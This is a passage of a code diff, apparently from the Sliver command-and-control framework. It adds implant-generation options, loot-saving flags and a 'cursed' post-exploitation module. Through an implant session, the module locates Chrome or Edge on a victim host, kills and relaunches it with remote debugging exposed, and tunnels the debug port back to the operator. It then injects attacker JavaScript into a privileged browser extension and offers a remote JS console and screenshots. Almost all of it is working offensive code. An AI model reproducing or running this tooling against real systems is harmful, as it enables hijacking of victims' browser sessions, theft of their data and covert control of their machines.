+			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1450,16 +1567,20 @@ func BindCommands(con *console.SliverConsoleClient) {

 			f.String("c", "canary", "", "canary domain(s)")

+			f.String("N", "name", "", "implant name")
 			f.String("m", "mtls", "", "mtls connection strings")
 			f.String("g", "wg", "", "wg connection strings")
 			f.String("b", "http", "", "http(s) connection strings")
 			f.String("n", "dns", "", "dns connection strings")
 			f.String("p", "named-pipe", "", "named-pipe connection strings")
 			f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
+			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")

 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")

+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1574,6 +1695,24 @@ func BindCommands(con *console.SliverConsoleClient) {

 	// [ Filesystem ] ---------------------------------------------

+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.MvStr,
+		Help:     "Move or rename a file",
+		LongHelp: help.GetHelpFor([]string{consts.MvStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("src", "path to source file")
+			a.String("dst", "path to dest file")
+		},
+		Run: func(ctx *grumble.Context) error {
+			err := filesystem.MvCmd(ctx, con)
+			return err
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	con.App.AddCommand(&grumble.Command{
 		Name:     consts.LsStr,
 		Help:     "List current directory",
@@ -1602,7 +1741,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.RmStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Bool("r", "recursive", false, "recursively remove files")
-			f.Bool("f", "force", false, "ignore safety and forcefully remove files")
+			f.Bool("F", "force", false, "ignore safety and forcefully remove files")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1681,6 +1820,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("c", "colorize-output", false, "colorize output")
 			f.Bool("x", "hex", false, "display as a hex dump")
 			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
+			f.String("T", "type", "", "force a specific loot type (file/cred) if looting (optional)")
+			f.String("F", "file-type", "", "force a specific file type (binary/text) if looting (optional)")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("path", "path to the file to print")
@@ -1702,6 +1844,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")

 			f.Bool("X", "loot", false, "save output as loot")
+			f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
+			f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
+			f.String("n", "name", "", "name to assign the download if looting")
+			f.Bool("r", "recurse", false, "recursively download all files in a directory")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("remote-path", "path to the file or directory to download")
@@ -1812,6 +1958,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("p", "pid", -1, "target pid")
 			f.String("n", "name", "", "target process name")
 			f.String("s", "save", "", "save to file (will overwrite if exists)")
+			f.Bool("X", "loot", false, "save output as loot")
+			f.String("N", "loot-name", "", "name to assign when adding the memory dump to the loot store (optional)")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1838,7 +1986,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			a.Uint("pid", "pid")
 		},
 		Flags: func(f *grumble.Flags) {
-			f.Bool("f", "force", false, "disregard safety and kill the PID")
+			f.Bool("F", "force", false, "disregard safety and kill the PID")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -2045,6 +2193,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("s", "save", "", "save to file (will overwrite if exists)")
 			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -2088,6 +2237,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("k", "kill", "", "kill a beacon")
 			f.Bool("K", "kill-all", false, "kill all beacons")
+			f.Bool("F", "force", false, "force killing of the beacon")
+			f.String("f", "filter", "", "filter beacons by substring")
+			f.String("e", "filter-re", "", "filter beacons by regular expression")
+
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.GenericHelpGroup,
@@ -2379,7 +2532,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
 		Flags: func(f *grumble.Flags) {
 			f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
-
+			f.Bool("a", "allow-all", false, "allow all users to connect")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
@@ -2671,7 +2824,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
-			f.Int("i", "id", 0, "id of portfwd to remove")
+			f.Uint64("i", "id", 0, "id of portfwd to remove")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -2757,7 +2910,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Add a remote file from the current session to the server's loot store",
 		LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
 		Args: func(a *grumble.Args) {
-			a.String("path", "The local file path to the loot")
+			a.String("path", "The file path on the remote host to the loot")
 		},
 		Flags: func(f *grumble.Flags) {
 			f.String("n", "name", "", "name of this piece of loot")
@@ -3138,7 +3291,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 		Args: func(a *grumble.Args) {
-			a.String("connection-string", "connection string to the Operator Host")
+			a.String("connection-string", "connection string to the Operator Host (e.g. 127.0.0.1:1234)")
 		},
 		Flags: func(f *grumble.Flags) {
 			f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
@@ -3146,6 +3299,138 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("r", "range", "sliver", "Agents range")
 		},
 	})
-
 	con.App.AddCommand(operatorCmd)
+
+	// [ Curse Commands ] ------------------------------------------------------------
+
+	cursedCmd := &grumble.Command{
+		Name:      consts.Cursed,
+		Help:      "Chrome/electron post-exploitation tool kit (∩｀-´)⊃━☆ﾟ.*･｡ﾟ",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	}
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.RmStr,
+		Help:      "Remove a Curse from a process",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Bool("k", "kill", false, "kill the process after removing the curse")
+		},
+		Args: func(a *grumble.Args) {
+			a.Int("bind-port", "bind port of the Cursed process to stop")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedRmCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedConsole,
+		Help:      "Start a JavaScript console connected to a debug target",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedConsoleCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedChrome,
+		Help:      "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+			f.Bool("R", "restore", true, "restore the user's session after process termination")
+			f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
+			f.String("u", "user-data", "", "user data directory (blank string = auto)")
+			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedChromeCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedEdge,
+		Help:      "Automatically inject a Cursed Chrome payload into a remote Edge extension",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+			f.Bool("R", "restore", true, "restore the user's session after process termination")
+			f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
+			f.String("u", "user-data", "", "user data directory (blank string = auto)")
+			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedEdgeCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.ScreenshotStr,
+		Help:      "Take a screenshot of a cursed process debug target",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
+			f.String("s", "save", "", "save to file")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedScreenshotCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedElectron,
+		Help:      "Curse a remote Electron application",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.String("e", "exe", "", "remote electron executable absolute path")
+			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedElectronCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	con.App.AddCommand(cursedCmd)
 }
@@ -0,0 +1,3 @@
+# Cursed
+
+Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
@@ -0,0 +1,425 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"log"
+	insecureRand "math/rand"
+	"strings"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/client/tcpproxy"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+var (
+	ErrUserDataDirNotFound      = errors.New("could not find Chrome user data dir")
+	ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
+	ErrUnsupportedOS            = errors.New("unsupported OS")
+
+	windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
+
+	cursedChromePermissions    = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
+	cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	payloadPath := ctx.Flags.String("payload")
+	var payload []byte
+	var err error
+	if payloadPath != "" {
+		payload, err = ioutil.ReadFile(payloadPath)
+		if err != nil {
+			con.PrintErrorf("Could not read payload file: %s\n", err)
+			return
+		}
+	}
+
+	curse := avadaKedavraChrome(session, ctx, con)
+	if curse == nil {
+		return
+	}
+	if payloadPath == "" {
+		con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
+		return
+	}
+
+	con.PrintInfof("Searching for Chrome extension with all permissions ... ")
+	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	// There is one alternative set of permissions that we can use if we don't find an extension
+	// with all the proper permissions.
+	if chromeExt == nil {
+		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if chromeExt != nil {
+		con.Printf("success!\n")
+		con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
+		con.PrintInfof("Injecting payload ... ")
+		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
+		// defer cancel()
+		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Printf("success!\n")
+	} else {
+		con.Printf("failure!\n")
+		con.PrintInfof("No viable Chrome extensions were found ☹️\n")
+	}
+}
+
+func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	chromeProcess, err := getChromeProcess(session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if chromeProcess != nil {
+		con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
+		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     chromeProcess.GetPid(),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedChromeProcess(false, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
+	name := "Chrome"
+	if isEdge {
+		name = "Edge"
+	}
+
+	con.PrintInfof("Finding %s executable path ... ", name)
+	chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("success!\n")
+	con.PrintInfof("Finding %s user data directory ... ", name)
+	chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("success!\n")
+
+	con.PrintInfof("Starting %s process ... ", name)
+	debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
+	args := []string{
+		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
+	}
+	if chromeUserDataDir != "" {
+		args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
+	}
+	if ctx.Flags.Bool("restore") {
+		args = append(args, "--restore-last-session")
+	}
+
+	// Execute the Chrome process with the extra flags
+	// TODO: PPID spoofing, etc.
+	chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    chromeExePath,
+		Args:    args,
+		Output:  false,
+	})
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
+
+	con.PrintInfof("Waiting for %s process to initialize ... ", name)
+	time.Sleep(2 * time.Second)
+
+	bindPort := insecureRand.Intn(10000) + 40000
+	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
+
+	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+
+	tcpProxy := &tcpproxy.Proxy{}
+	channelProxy := &core.ChannelProxy{
+		Rpc:             con.Rpc,
+		Session:         session,
+		RemoteAddr:      remoteAddr,
+		BindAddr:        bindAddr,
+		KeepAlivePeriod: 60 * time.Second,
+		DialTimeout:     30 * time.Second,
+	}
+	tcpProxy.AddRoute(bindAddr, channelProxy)
+	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
+
+	curse := &core.CursedProcess{
+		SessionID:         session.ID,
+		PID:               chromeExec.GetPid(),
+		PortFwd:           portFwd,
+		BindTCPPort:       bindPort,
+		Platform:          session.GetOS(),
+		ExePath:           chromeExePath,
+		ChromeUserDataDir: chromeUserDataDir,
+	}
+	core.CursedProcesses.Store(bindPort, curse)
+	go func() {
+		err := tcpProxy.Run()
+		if err != nil {
+			log.Printf("Proxy error %s", err)
+		}
+		core.CursedProcesses.Delete(bindPort)
+	}()
+
+	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
+
+	return curse, nil
+}
+
+func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+	userDataFlag := ctx.Flags.String("user-data")
+	if userDataFlag != "" {
+		return userDataFlag, nil
+	}
+
+	switch session.GetOS() {
+
+	case "windows":
+		username := session.GetUsername()
+		if strings.Contains(username, "\\") {
+			username = strings.Split(username, "\\")[1]
+		}
+		for _, driveLetter := range windowsDriveLetters {
+			userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
+			if isEdge {
+				userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
+			}
+			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+				Request: con.ActiveTarget.Request(ctx),
+				Path:    userDataDir,
+			})
+			if err != nil {
+				return "", err
+			}
+			if ls.GetExists() {
+				return userDataDir, nil
+			}
+		}
+		return "", ErrUserDataDirNotFound
+
+	case "darwin":
+		userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
+		if isEdge {
+			userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
+		}
+		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Path:    userDataDir,
+		})
+		if err != nil {
+			return "", err
+		}
+		if ls.GetExists() {
+			return userDataDir, nil
+		}
+		return "", ErrUserDataDirNotFound
+
+	default:
+		return "", ErrUnsupportedOS
+	}
+}
+
+func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+	exeFlag := ctx.Flags.String("exe")
+	if exeFlag != "" {
+		return exeFlag, nil
+	}
+
+	switch session.GetOS() {
+
+	case "windows":
+		chromeWindowsPaths := []string{
+			"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
+		}
+		if isEdge {
+			chromeWindowsPaths = []string{
+				"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
+				"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
+				"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
+			}
+		}
+		username := session.GetUsername()
+		if strings.Contains(username, "\\") {
+			username = strings.Split(username, "\\")[1]
+		}
+		for _, driveLetter := range windowsDriveLetters {
+			for _, chromePath := range chromeWindowsPaths {
+				chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
+				chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
+				ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+					Request: con.ActiveTarget.Request(ctx),
+					Path:    chromeExecutablePath,
+				})
+				if err != nil {
+					return "", err
+				}
+				if ls.GetExists() {
+					return chromeExecutablePath, nil
+				}
+			}
+		}
+		return "", ErrChromeExecutableNotFound
+
+	case "darwin":
+		// AFAIK Chrome only installs to this path on macOS
+		defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
+		if isEdge {
+			defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
+		}
+		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Path:    defaultChromePath,
+		})
+		if err != nil {
+			return "", err
+		}
+		if ls.GetExists() {
+			return defaultChromePath, nil
+		}
+		return "", ErrChromeExecutableNotFound
+
+	case "linux":
+		chromeLinuxPaths := []string{
+			"/usr/bin/google-chrome",
+			"/usr/bin/chromium-browser",
+			"/usr/local/bin/google-chrome",
+			"/usr/local/bin/chromium-browser",
+		}
+		if isEdge {
+			chromeLinuxPaths = []string{
+				"/usr/bin/microsoft-edge",
+				"/usr/local/bin/microsoft-edge",
+			}
+		}
+		for _, chromePath := range chromeLinuxPaths {
+			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+				Request: con.ActiveTarget.Request(ctx),
+				Path:    chromePath,
+			})
+			if err != nil {
+				return "", err
+			}
+			if ls.GetExists() {
+				return chromePath, nil
+			}
+		}
+		return "", ErrChromeExecutableNotFound
+
+	default:
+		return "", ErrUnsupportedOS
+	}
+}
+
+func isChromeProcess(executable string) bool {
+	var chromeProcessNames = []string{
+		"chrome",           // Linux
+		"google-chrome",    // Linux
+		"chromium-browser", // Linux
+		"chrome.exe",       // Windows
+		"Google Chrome",    // Darwin
+	}
+	for _, suffix := range chromeProcessNames {
+		if strings.HasSuffix(executable, suffix) {
+			return true
+		}
+	}
+	return false
+}
+
+func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isChromeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}
@@ -0,0 +1,135 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"io/ioutil"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+	"github.com/desertbit/readline"
+)
+
+func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+	con.PrintInfof("Querying debug targets ... ")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	target := selectDebugTarget(targets, con)
+	if target == nil {
+		return
+	}
+	con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
+	startCursedConsole(curse, target, con)
+}
+
+func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
+	if len(targets) < 1 {
+		con.PrintErrorf("No debug targets\n")
+		return nil
+	}
+
+	id2target := map[string]overlord.ChromeDebugTarget{}
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	for _, target := range targets {
+		fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
+		id2target[target.ID] = target
+	}
+	table.Flush()
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a debug target:",
+		Options: options,
+	}
+	selected := ""
+	err := survey.AskOne(prompt, &selected)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if selected == "" {
+		return nil
+	}
+	selectedID := strings.Split(selected, " ")[0]
+	selectedTarget := id2target[selectedID]
+	return &selectedTarget
+}
+
+func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
+	tmpFile, _ := ioutil.TempFile("", "cursed")
+	reader, err := readline.NewEx(&readline.Config{
+		Prompt:      "\033[31mcursed »\033[0m ",
+		HistoryFile: tmpFile.Name(),
+		// AutoComplete:    nil,
+		InterruptPrompt:   "^C",
+		EOFPrompt:         "exit",
+		HistorySearchFold: true,
+		// FuncFilterInputRune: filterInput,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create read line: %s\n", err)
+		return
+	}
+	for {
+		line, err := reader.Readline()
+		if err == readline.ErrInterrupt {
+			if len(line) == 0 {
+				break
+			} else {
+				continue
+			}
+		} else if err == io.EOF {
+			break
+		}
+		switch strings.TrimSpace(line) {
+		case "exit":
+			return
+		default:
+			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+			con.Println()
+			if 0 < len(result) {
+				con.Printf("%s\n", result)
+				con.Println()
+			}
+		}
+	}
+
+}
@@ -0,0 +1,170 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
